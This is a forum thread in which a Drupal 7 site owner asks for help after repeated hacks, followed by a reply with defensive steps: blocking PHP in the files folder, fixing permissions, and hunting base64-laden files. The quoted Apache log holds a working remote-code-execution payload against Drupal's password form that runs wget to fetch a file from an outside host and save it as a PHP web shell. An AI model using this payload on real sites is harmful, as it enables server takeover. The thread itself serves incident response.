Sites hacked across login pages My Drupal 7 sites were hacked many times, and I find everytime some files created by the hackers.  Even though I did the security update, that didn't prevent the hackers to access to the server.
Recently I saw the Apache log and I found some serious security problems. They try accessing across the login form on /user and some files in the file module folder.


  POST /?q=user/password&amp;name[%23post_render][]=passthru&amp;name[%23type]=markup&amp;name[%23markup]=wget%20-c%20g.wpblogapi.com/acui/innc.zip%20-O%20tmps.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6





  GET /modules/file/tests/lbuzsboe.php HTTP/1.1" 404 - "..../modules/file/tests/lbuzsboe.php


Please provide me your suggestions to resolve this problem. I have no experience on web security.
I had this problem before with some friend about files folder 

The solution to this problem is:

1.- in your apache conf or nginx conf or .htaccess disable all formats php in the path /files/*

2.- if you have the opportunity change the permissions to the folder but the first point works, they will upload files php but, they will not run it.

3.- remove estrange files php and search for every file that contains text like base64, search something about this in google or other searcher.

They enter by a port using exploits and add a file like image.php.jpg, and after the file is uploaded, they change the name to image.php (it is not the real name but you get the idea).

That file is an php form, they upload files php through it, like a command line and do a lot of things...

I hope this help you.